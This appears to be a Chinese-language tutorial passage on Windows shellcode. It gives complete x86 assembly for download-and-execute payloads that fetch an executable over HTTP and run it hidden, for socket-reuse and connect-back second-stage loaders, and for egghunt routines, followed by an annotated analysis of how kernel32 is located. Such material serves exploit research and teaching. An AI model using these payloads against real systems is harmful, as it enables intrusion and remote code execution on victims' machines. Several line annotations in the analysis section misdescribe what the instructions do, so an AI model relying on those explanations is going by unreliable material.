它还允许运行更复杂的代码,因为通用可执行文件可用的所有功能都可以通过下载和执行的本质来使用。

这种技术的缺点是它在本地系统上创建一个文件然后执行它。 因此,该过程将对机器上的用户可见,因为可执行文件不会立即安装一些机制来隐藏自己。 根据一个人的目的,这可能会或可能不会被接受。

下载和执行可执行文件所涉及的实际过程比其他平台简单得多。 Microsoft 开发了一种称为 Windows Internet API 的 API。 它的目的是导出一个标准接口,以通过 HTTP、FTP 和 gopher 等协议访问 Internet 资源。 它还为程序员提供了枚举个人机器上 URL 缓存的能力。

使用 Windows Internet API 的过程与其他 shellcode 的启动方式相同。 也就是说,必须首先找到kernel32.dll,这样Windows Internet DLL wininet.dll 才能通过LoadLibraryA 映射到进程空间。 kernel32.dll 需要以下符号供以后使用:

Function Name Hash
LoadLibraryA 0xec0e4e8e
CreateFile 0x7c0017a5
WriteFile 0xe80a791f
CloseHandle 0x0ffd97fb
CreateProcessA 0x16b3fe72
ExitProcess 0x73e2d87e

一旦解析了 kernel32.dll 符号,就应该像前面描述的那样继续加载 wininet.dll。 wininet.dll 需要的符号如下:

Function Name Hash
InternetOpenA 0x57e84429
InternetOpenUrlA0x7e0fed49
InternetReadFile 0x5fe34b8b

加载所有符号后,乐趣就可以开始了。 以下过程概述了在基于 9x 和 NT 的 Windows 版本上下载和执行文件所涉及的步骤。

步骤1,分配网络句柄
该过程的第一步是分配一个互联网句柄。 这是
通过使用 Windows Internet API 函数完成
InternetOpenA. 函数原型如下:

HINTERNET InternetOpen(
LPCTSTR lpszAgent,
DWORD dwAccessType,
LPCTSTR lpszProxyName,
LPCTSTR lpszProxyBypass,
DWORD dwFlags
);

其目的是分配一个 Internet 句柄,该句柄将作为参考形式传递给未来的 Windows Internet API 函数。 可以为该句柄分配唯一的用户代理以及自定义代理信息。 出于本文档的目的,将不会详细讨论这些功能,但在特定环境下可能会有用。

鉴于此,上述原型中的所有参数都可以简单地作为 NULL 或 0 传入,这将指示函数使用它拥有的任何合理的默认值。 如果成功,该函数将返回一个任意值,该值应用于以后调用某些 Windows Internet 函数。成功时该值将为非空值。

步骤2,分配资源句柄
一旦成功分配了 Internet 句柄,就可以继续打开与资源相关的句柄。 与资源相关的句柄可以简单地认为是通过选择的任何协议与给定的 Internet 资源的连接。 在这种情况下,资源将指向 HTTP 网站上的可执行文件(例如:http://www.site.com/test.exe)。用于打开此资源句柄的函数是 InternetOpenUrlA,原型如下:

HINTERNET InternetOpenUrl(
HINTERNET hInternet,
LPCTSTR lpszUrl,
LPCTSTR lpszHeaders,
DWORD dwHeadersLength,
DWORD dwFlags,
DWORD_PTR dwContext
);

hInternet 参数应设置为上次调用 InternetOpenA 返回的值。 此外,lpszUrl 应设置为指向包含要从中下载的 URL 的字符串的指针。 其余参数应设置为 NULL 或 0,因为默认值很好。 成功后,返回值应为非零值,需要保存以备后用。

步骤3,创建本地可执行文件
在开始实际下载之前,必须首先创建将存储数据的文件。这一步涉及使用 kernel32.dll 中的 CreateFile 函数。 出于本文档的目的,创建的文件名应假定为 a.exe,但实际上可以是任何任意名称。 CreateFile 的原型如下:

HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);

这个函数的所有参数确实有点嘈杂,尽管有充分的理由。 lpFileName 应该设置为指向保存 a.exe 的字符串的指针,因为它将成为下载的目标文件。由于文件正在下载,因此需要打开它进行写访问,因此 dwDesiredAccess 参数应设置为 GENERIC_WRITE。 创建文件的属性将是 FILE_ATTRIBUTE_NORMAL 和 FILE_ATTRIBUTE_HIDDEN。这些属性应该设置为 dwFlagsAndAttributes 参数。最后一个需要设置的参数是 dwCreationDisposition。这个标志应该设置为 CREATE_ALWAYS 以强制 如果文件已经存在,则再次创建该文件。 现在,所有需要设置的参数都已知,其余参数应设置为 NULL 或 0。如果 CreateFile 成功,将返回一个非零句柄。 此句柄将用于后续调用,因此应保存以备后用。

步骤4,下载可执行文件
最复杂的阶段涉及实际的下载过程。在这一步中,必须使用 InternetReadFile 函数从 InternetOpenUrlA 中指定的 URL 读取部分或全部可执行文件,然后将其写入打开的文件 通过 WriteFile 使用 CreateFile。 这两个新函数的原型如下:

BOOL InternetReadFile(
HINTERNET hFile,
LPVOID lpBuffer,
DWORD dwNumberOfBytesToRead,
LPDWORD lpdwNumberOfBytesRead
);
BOOL WriteFile(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);

此阶段可能需要在循环中执行,因为即使大小已知,也完全有可能无法读取完整的可执行文件。如果大小未知,则肯定需要在循环中执行。
进程本身通过使用 hFile 调用 InternetReadFile 开始参数设置为 InternetOpenUrlA 返回的句柄。此函数将读入 lpBuffer 中指定的缓冲区,最多为 dwNumberOfBytesToRead 字节。实际读取的字节数将存储在 lpdwNumberOfBytesRead 中。字节读取参数很重要,因为需要知道读取的实际字节数,以便将正确的数量写入文件。如果读取的字节数为零或 InternetReadFile 返回 FALSE,则应假定文件已完成下载。
一旦 InternetReadFile 调用返回并且字节数读取大于零,则应继续写入数据到文件。这是通过使用 WriteFile 函数并将 hFile 参数设置为从 CreateFile 返回的文件句柄来实现的。 lpBuffer 参数应该与提供给 InternetReadFile 的参数相同。最后,应将 nNumberOfBytesToWrite 设置为在 lpdwNumberOfBytesRead 中返回的值。成功后,WriteFile 应返回一个非零值。
数据写入后,应继续循环下载整个文件。文件下载完成后,应使用 CloseHandle 函数关闭由 CreateFile 打开的文件句柄。

步骤5,执行文件
最后一步是执行已经下载并放置在a.exe中的文件。 这是通过使用原型如下的 CreateProcessA 函数来完成的:

BOOL CreateProcess(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

lpCommandLine 参数应设置为指向包含 a.exe 的字符串的指针。 唯一需要的其他参数是 lpStartupInfo 和 lpProcessInformation。 lpStartupInfo 的 cb 属性必须初始化为结构的大小,0x44。 其余属性应初始化为零。

步骤6,退出父进程
一旦子进程被执行,父进程就可以退出,因为没有更多的工作要做。

上述过程描述了从 HTTP URL 下载执行文件所需的步骤。

下载/执行的汇编代码:

download:
  jmp initialize_url_bnc_1
  // ...find_kernel32 and find_function assembly...
initialize_url_bnc_1:
  jmp initialize_url_bnc_2
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function
  mov [edi], eax
  add esp, 0x08
  add edi, 0x04
  cmp esi, ecx
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret
kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
  EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c)
  EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8)
  EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f)
  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)
  wininet_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57)
  EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e)
  EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f)
startup:
  pop esi
  sub esp, 0x7c
  mov ebp, esp
  call find_kernel32
  mov edx, eax
  jmp get_absolute_address_forward
get_absolute_address_middle:
  jmp get_absolute_address_end
get_absolute_address_forward:
  call get_absolute_address_middle
get_absolute_address_end:
  pop eax
  jmp initialize_url_bnc_2_skip
initialize_url_bnc_2:
  jmp initialize_url_bnc_3
initialize_url_bnc_2_skip:
copy_download_url:
  lea edi, [ebp + 0x40]
copy_download_url_loop:
  movsb
  cmp byte ptr [esi - 0x01], 0xff
  jne copy_download_url_loop
copy_download_url_finished:
  dec edi
  not byte ptr [edi]
resolve_kernel32_symbols:
  mov esi, eax
  sub esi, 0x3a
  dec [esi + 0x06]
  lea edi, [ebp + 0x04]
  mov ecx, esi
  add ecx, 0x18
  call resolve_symbols_for_dll
resolve_wininet_symbols:
  add ecx, 0x0c
  mov eax, 0x74656e01
  sar eax, 0x08
  push eax
  push 0x696e6977
  mov ebx, esp
  push ecx
  push edx
  push ebx
  call [ebp + 0x04]
  pop edx
  pop ecx
  mov edx, eax
  call resolve_symbols_for_dll
internet_open:
  xor eax, eax
  push eax
  push eax
  push eax
  push eax
  push eax
  call [ebp + 0x1c]
  mov [ebp + 0x34], eax
internet_open_url:
  xor eax, eax
  push eax
  push eax
  push eax
  push eax
  lea ebx, [ebp + 0x40]
  push ebx
  push [ebp + 0x34]
  call [ebp + 0x20]
  mov [ebp + 0x38], eax
  jmp initialize_url_bnc_3_skip
initialize_url_bnc_3:
  jmp initialize_url_bnc_4
initialize_url_bnc_3_skip:
create_file:
  xor eax, eax
  mov al, 0x65
  push eax
  push 0x78652e61
  mov [ebp + 0x30], esp
  xor eax, eax
  push eax
  mov al, 0x82
  push eax
  mov al, 0x02
  push eax
  xor al, al
  push eax
  push eax
  mov al, 0x40
  sal eax, 0x18
  push eax
  push [ebp + 0x30]
  call [ebp + 0x08]
  mov [ebp + 0x3c], eax
download_begin:
  xor eax, eax
  mov ax, 0x010c
  sub esp, eax
  mov esi, esp
download_loop:
  lea ebx, [esi + 0x04]
  push ebx
  mov ax, 0x0104
  push eax
  lea eax, [esi + 0x08]
  push eax
  push [ebp + 0x38]
  call [ebp + 0x24]
  mov eax, [esi + 0x04]
  test eax, eax
  jz download_finished
download_write_file:
  xor eax, eax
  push eax
  lea eax, [esi + 0x04]
  push eax
  push [esi + 0x04]
  lea eax, [esi + 0x08]
  push eax
  push [ebp + 0x3c]
  call [ebp + 0x0c]
  jmp download_loop
download_finished:
  push [ebp + 0x3c]
  call [ebp + 0x10]
  xor eax, eax
  mov ax, 0x010c
  add esp, eax
  jmp initialize_url_bnc_4_skip
initialize_url_bnc_4:
  jmp initialize_url_bnc_end
initialize_url_bnc_4_skip:
initialize_process:
  xor ecx, ecx
  mov cl, 0x54
  sub esp, ecx
  mov edi, esp
zero_structs:
  xor eax, eax
  rep stosb
initialize_structs:
  mov edi, esp
  mov byte ptr [edi], 0x44
execute_process:
  lea esi, [edi + 0x44]
  push esi
  push edi
  push eax
  push eax
  push eax
  push eax
  push eax
  push eax
  push [ebp + 0x30]
  push eax
  call [ebp + 0x14]
exit_process:
  call [ebp + 0x18]
initialize_url_bnc_end:
  call startup
  // ... the URL to download from followed by a \xff ...
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.4.1 节中找到。

6 分阶段加载 Shellcode

Staged Loading Shellcode 是一个术语,用于描述在多个阶段加载 shellcode 的过程,通常是两个阶段。 第一阶段是使用小的“存根”shellcode,它仅用于通过某种任意方法加载第二个更大的shellcode。 以下部分定义了加载第二个有效负载的一些方法。

6.1 动态文件描述符重用
目标:95/98/ME/NT/2K/XP
大小:239 字节

编写 shellcode 需要建立或提供某种连接机制的一个常见问题是,经常被利用的机器要么安装了防火墙软件,要么位于防火墙后面。 如果是这种情况,则可能无法使用通用机制,例如 Connectback (4.1) 或 Portbind (4.2)。 如果机器需要使用经过身份验证的代理来浏览网络,也可能会出现“下载/执行”不起作用的情况。 在最坏的情况下,需要使用不涉及分配另一种通信媒介的替代解决方案。

在诸如此类的可怕情况下,或者实际上只是如果情况最适合它,则可以采用称为动态文件描述符重用的概念来将现有文件描述符用于非预期目的 用作。 如前所述,本文档中的大部分 shellcode 都是按照将用于远程漏洞利用的思维方式编写的。 如果是这种情况,那么被利用的服务肯定是通过套接字层触发的某种问题来利用的。

鉴于上述陈述是正确的,我们可以继续枚举给定进程上下文中打开的套接字,直到找到与触发漏洞利用的连接相匹配的套接字。 如何做到这一点? 有几种方法。

第一种方法实际上可以被认为是两种方法。 它们都使用 ws2_32.dll 中的 getpeername 函数,Winsock DLL.getpeername 允许确定与给定套接字关联的端点。 因此,人们能够确定套接字与远程机器上的哪个主机和端口相关。 这很有用,因为在特定情况下,人们可以硬编码他们的漏洞来使用某个端口或使用某个主机,以允许 shellcode 在内存中找到相关的文件描述符。

第三种方法涉及通过调用在 ws2_32.dll 中找到的 recv 来枚举文件描述符,直到从套接字读取一个特殊值。 如果没有数据可用,或者读取的值与预期的特殊值不匹配,则跳过文件描述符。 但是,一旦该值匹配,就可以安全地假设从中读取数据的文件描述符就是正在搜索的文件描述符。

一旦找到文件描述符,就可以做很多事情。 一个人可以做的第一件事是将 cmd.exe 重定向到文件描述符,从而拥有一个到机器的远程 shell。 虽然这在某些情况下可能有用,但这不是本节的重点。 相反,可以使用文件描述符从远程客户端读取更多的 shellcode,或者所谓的第二阶段 shellcode。 一旦 shellcode 被读取,它就可以跳转到并继续执行新的路径。

关于读取第二阶段的文件描述符的重用shellcode 很有用,因为它可以使用原本不适合(由于大小限制)的 shellcode,也可以使用否则无法通过字符串过滤器的 shellcode(例如包含空值的 shellcode)。 事实上,用于查找文件描述符并从中读取的 shellcode 通常比大多数其他 shellcode 小,这使得它在考虑用于漏洞利用的有效载荷时非常有利可图。

查找文件描述符读取的汇编代码:

findfdread:
  jmp startup
  // ...find_kernel32 and find_function assembly...
startup:
  jmp shorten_find_function_forward
shorten_find_function_middle:
  jmp shorten_find_function_end
shorten_find_function_forward:
  call shorten_find_function_middle
shorten_find_function_end:
  pop esi
  sub esi, 0x57
  call find_kernel32
  mov edx, eax
  push 0xec0e4e8e
  push edx
  call esi
  mov ebx, eax
load_ws2_32:
  xor eax, eax
  mov ax, 0x3233
  push eax
  push 0x5f327377
  push esp
  call ebx
  mov edx, eax
load_ws2_32_syms:
  push 0x95066ef2
  push edx
  call esi
  mov edi, eax
  push 0xe71819b6
  push edx
  call esi
  push eax
find_fd:
  sub esp, 0x14
  mov ebp, esp
  xor eax, eax
  mov al, 0x10
  lea edx, [esp + eax]
  mov [edx], eax
  xor esi, esi
find_fd_loop:
  inc esi
  push edx
  push edx
  push ebp
  push esi
  call edi
  test eax, eax
  pop edx
  jnz find_fd_loop
find_fd_check_port:
  cmp word ptr [esp + 0x02], 0x5c11
  jne find_fd_loop
find_fd_check_finished:
  add esp, 0x14
  pop edi
recv_fd:
  xor ebx, ebx
  inc eax
  sal eax, 0x0d
  sub esp, eax
  mov ebp, esp
  push ebx
  push eax
  push ebp
  push esi
  call edi
jmp_code:
  jmp ebp
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.5.1 节中找到。

6.2 静态文件描述符重用
目标:95/98/ME/NT/2K/XP
大小:195 字节

静态文件描述符重用策略使用与动态文件描述符重用 (6.1) 策略相同的概念,除非它不搜索实际文件描述符。 相反,给定一组情况,如果可以安全地假设文件描述符始终相同,则可以优化代码的搜索部分,转而使用静态的。

实际代码与动态文件描述符重用代码完全相同,减去使用 getpeername 搜索文件的部分实际代码与动态文件描述符重用代码完全相同,减去使用 getpeername 搜索文件描述符的部分。 为此,为简洁起见,未包括该程序集。

6.3 猎蛋(Egghunt)
目标:NT/2K/XP
大小:71 字节

Egghunt 第一阶段加载器对于只有有限空间用于初始 shellcode 但能够在内存中的其他位置获取更大 shellcode 的情况很有用。 较大的 shellcode 的实际内存位置是未知的,因此不能简单地重新输入。 出于这个原因,egghunt 很有用,因为它是轻量级的 shellcode,能够在所有进程内存中搜索“egg”。 一旦egghunt shellcode在内存中找到了“egg”,它就可以简单地跳进去并开始执行更大的shellcode。

有几种不同的机制可用于搜索进程内存。其中一种方法涉及安装自定义异常处理程序以捕获发生访问冲突的时间,并通过移动要执行的代码块来简单地忽略它,如果 记忆是有效的。 这种机制理论上适用于基于 9X 和 NT 的 Windows 版本。 但是,本文档中讨论的程序集版本仅与基于 Windows NT 的版本兼容。

猎蛋(Egghunt) 汇编代码:

egghunt:
  jmp startup
exception_handler:
  mov eax, [esp + 0x0c]
  lea ebx, [eax + 0x7c]
  add ebx, 0x3c
  add [ebx], 0x07
  mov eax, [esp]
  add esp, 0x14
  push eax
  xor eax, eax
  ret
startup:
  mov eax, 0x42904290
  jmp init_exception_handler_skip
init_exception_handler_fwd:
  jmp init_exception_handler
init_exception_handler_skip:
  call init_exception_handler_fwd
init_exception_handler:
  pop ecx
  sub ecx, 0x25
  push esp
  push ecx
  xor ebx, ebx
  not ebx
  push ebx
  xor edi, edi
  mov fs:[edi], esp
search_loop_begin_pre:
search_loop_start:
  xor ecx, ecx
  mov cl, 0x2
  push edi
  repe scasd
  jnz search_loop_failed
  pop edi
  jmp edi
search_loop_failed:
  pop edi
  inc edi
  jmp search_loop_start
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.5.2 节中找到。

6.4 Egghunt(猎蛋)系统调用
目标:NT/2K/XP
大小:40 字节

本文档早些时候曾指出,通常应避免系统调用,因为它们不可移植且不可指望。 暂时让这种信念暂停,以便遵循一条推理路线,允许编写一个非常紧凑的第一阶段加载器关于大小的内容。 上面讨论的最初的 Egghunt 版本虽然仍然很小,但对于所有情况来说都不一定足够小。 诚然,前面提到的方法比将要讨论的方法更便携和可靠,但尽管如此:大小很重要。

此版本的egghunt 代码的目的与之前的相同:搜索进程内存(包括可能无效的地址)以获取“egg”。

一旦找到鸡蛋,就跳进去。 话虽如此,实现这一目标的方法完全不同。 系统调用接口不是使用自定义的异常处理程序,而是以这样一种方式被滥用,即可以测试地址的有效性而不会使程序或操作系统崩溃。

基本概念是滥用系统调用,在本例中为 NtAddAtom,它接受输入指针作为参数。 如果内核接收到带有无效指针的系统调用,它将在 eax 中返回 STATUS_ACCESS_VIOLATION(0xC0000005) 错误。 如果指针有效,将返回不同的错误代码。 正是这种错误代码的区别,允许在用户模式下读取任意地址之前滥用系统调用来验证任意地址。 NtAddAtom 的原型如下:

NTSYSAPI NTSTATUS NTAPI NtAddAtom(IN PWCHAR AtomName,OUT PRTL_ATOM Atom);

可以使用 AtomName 参数来验证任意地址是否可以读取。

与之前的egghunt 实现一样,这个实现也要求鸡蛋本身跨越四个字节以上,因为使用四字节鸡蛋时,与实际上不是鸡蛋的东西发生冲突的机会要高得多。因此,系统调用版本 要求蛋在记忆中与自身背靠背出现。 因此,在比较代码尝试检查内存是否与鸡蛋匹配之前,内存验证代码必须能够验证范围的所有八个字节都有效。

Egghunt(猎蛋)系统调用 汇编代码:

egghunt_syscall:
  xor edx, edx
  xor eax, eax
  mov ebx, 0x50905090
  mov al, 0x08
loop_check_8_start_pre:
  inc edx
loop_check_8_start:
  mov ecx, eax
  inc ecx
loop_check_8_cont:
  pushad
  lea edx, [edx + ecx]
  int 0x2e
  cmp al, 0x05
  popad
loop_check_8_valid:
  je loop_check_8_start_pre
  loop loop_check_8_cont
  inc edx
is_egg_1:
  cmp dword ptr [edx], ebx
  jne loop_check_8_start
is_egg_2:
  cmp dword ptr [edx + 0x04], ebx
  jne loop_check_8_start
matched:
  jmp edxCode language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.5.3 节中找到。

6.5 回连 IAT
目标:仅 2000
大小:162 – 178 字节

为了减少第一阶段加载器的代码大小,人们可能不得不采用文档中前面讨论的符号解析技术,该技术利用了可移植可执行文件中的导入地址表。这种方法可以消除 使用标准的 find 函数符号解析,而是使用给定的 DLL 的导入地址表来提取函数 VMA。 这里将讨论的实现是对 HD Moore 为保持一致性所做的实现的重构。

该过程的第一步涉及通过前面提到的机制之一确定 kernel32.dll 基本地址。 从那里开始,应该继续解析 LoadLibraryA 符号。 与遵循此路径的大多数其他实现不同,LoadLibraryA 将是通过此机制解析的唯一符号。 一旦 LoadLibraryA 被正确解析,就应该继续将 DBMSSOCN.DLL 加载到进程空间中。

下表表示保存将使用的所需 winsock 符号地址的偏移量。 这些偏移量在即将推出的 Service Pack 中很容易发生变化。

Function Name Offset
WSASocketA 0x3074
connect 0x304c
recv 0x3054

只需将加载到进程空间中的 DLL 的基地址添加到上述偏移量中,并且具有内存中将 VMA 保存到所需符号的位置的绝对地址。 下面的实现使用上述函数在给定端口上建立到任意主机的 TCP 连接,然后通过 recv 函数读回 shellcode 的第二阶段。 一旦读取了第二个有效负载,它就会像其他分阶段加载 Shellcode 一样简单地跳入缓冲区。 WSAStartup 被排除在符号列表之外,因为预期上下文是远程利用的上下文,因此不需要第二次调用 WSAStartup。

下面的 shellcode 与其他使用 find kernel32 和 find 函数程序集的 shellcode 之间的一个区别是,下面的 shellcode 应该内联和优化函数,以便它们不是在函数上下文中使用,而是在执行的线性上下文中使用 . 此外,不是让 find 函数能够使用任意散列,而是简单地定义它来搜索 LoadLibraryA 的散列,因为它是唯一需要从 kernel32.dll 的导出目录表中解析的符号。

回连IAT汇编代码:

// ...inline find_kernel32 and find_function assembly...
connectback_iat:
  xor edi, edi
  push edi
  push 0x4e434f53
  push 0x534d4244
  push esp
  call eax
  mov ebx, eax
fixup_base_address:
  mov bh, 0x30
create_socket:
  push edi
  push edi
  push edi
  push edi
  inc edi
  push edi
  inc edi
  push edi
  call [ebx + 0x74]
  mov edi, eax
connect:
  push DEFAULT_IP
  mov eax, 0x5c110102
  dec ah
  push eax
  mov edx, esp
  xor eax, eax
  mov al, 0x10
  push eax
  push edx
  push edi
  call [ebx + 0x4c]
recv:
  inc ah
  sub esp, eax
  mov ebp, esp
  xor ecx, ecx
  push ecx
  push eax
  push ebp
  push edi
  call [ebx + 0x54]
jmp_code:
  jmp ebp
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.5.4 节中找到。

7 结论

在这一点上,作者希望读者现在对为 Windows 编写可靠的、可移植的 shellcode 所涉及的考验和磨难有了一个完整的理解。 这些知识可以应用于漏洞研究、渗透测试和许多其他形式的安全相关职位等领域。 无论如何使用这些知识,只要知道提供带有保护壳的程序的能力就在几条短的装配线之外,就可以更轻松地入睡……:)

8 详细的Shellcode分析

以下各节详细解释了前面各节中的装配。

8.1 查找kernel32.dll

8.1.1 PEB

以下是对PEB汇编代码的分析:

find_kernel32: ;自定义标签find_kernel32
  push esi ;将esi 寄存器的内容压入栈中
  xor eax, eax ;将eax寄存器清零
  mov eax, fs:[eax+0x30] ;将内存地址fs:[eax+0x30]中的数据放入eax寄存器,即把PEB的地址存入eax寄存器
  test eax, eax ;如果eax等于0
  js find_kernel32_9x;则跳转至find_kernel32_9x标签
find_kernel32_nt:
  mov eax, [eax + 0x0c] ;将内存地址[eax+0xc]中的数据放入eax寄存器
  mov esi, [eax + 0x1c] ;将内存地址[eax+0x1c]中的数据放入esi寄存器
  lodsd ;从esi寄存器指向的内存地址中取4个字节放入eax寄存器
  mov eax, [eax + 0x8] ;将内存地址[eax+0x8]中的数据放入eax寄存器
  jmp find_kernel32_finished ;跳转至find_kernel32_finished标签
find_kernel32_9x:
  mov eax, [eax + 0x34] ;将内存地址[eax+0x34]中的数据放入eax寄存器
  lea eax, [eax + 0x7c] ;将eax的值+0x7c的计算结果放入eax寄存器
  mov eax, [eax + 0x3c] ;将内存地址[eax+0x3c]处的内容放入eax寄存器
find_kernel32_finished:
  pop esi ;将esi寄存器的值放到栈顶
  ret ;将call时push到栈中的下一条指令的地址pop到eip
Code language: Intel x86 Assembly (x86asm)

8.1.2 SEH

以下是对SEH汇编代码的分析:

find_kernel32: ;自定义标签
  push esi     ;将esi寄存器的内容压入栈中
  push ecx     ;将ecx寄存器的内容压入栈中
  xor ecx, ecx ;将ecx寄存器的值清零
  mov esi, fs:[ecx]        ;将内存地址fs:[ecx]处的内容放入esi寄存器
  not ecx                  ;将ecx寄存器的值取反存入ecx寄存器
find_kernel32_seh_loop:
  lodsd                    ;从esi寄存器指向的内存地址中取4个字节放入eax寄存器
  mov esi, eax             ;将eax寄存器的值放入esi寄存器
  cmp [eax], ecx           ;比较内存地址[eax]处的内容和ecx寄存器的内容
  jne find_kernel32_seh_loop ;上面的比较结果不相等则跳转到标签find_kernel32_seh_loop的位置执行
find_kernel32_seh_loop_done:
  mov eax, [eax + 0x04]     ;将内存地址[eax+0x4]处的内容放入eax寄存器
  find_kernel32_base:
  find_kernel32_base_loop:
  dec eax                   ;将eax寄存器的值减去1放入eax寄存器
  xor ax, ax                ;将eax寄存器的低16位的低8位值清零
  cmp word ptr [eax], 0x5a4d ;0x5a4d的ascii码是'MZ',意思是比较内存地址[eax]处的内容是否等于'MZ'
  jne find_kernel32_base_loop ;不等于则跳转到标签find_kernel32_base_loop的位置执行
find_kernel32_base_finished:
  pop ecx                   ;将当前栈中的内容出栈放到ecx寄存器
  pop esi                   ;将esp-4后的栈中的内容出栈放到esi寄存器
  ret                       ;将call时push到栈中的下一条指令的地址pop到eip


Code language: Intel x86 Assembly (x86asm)

发表回复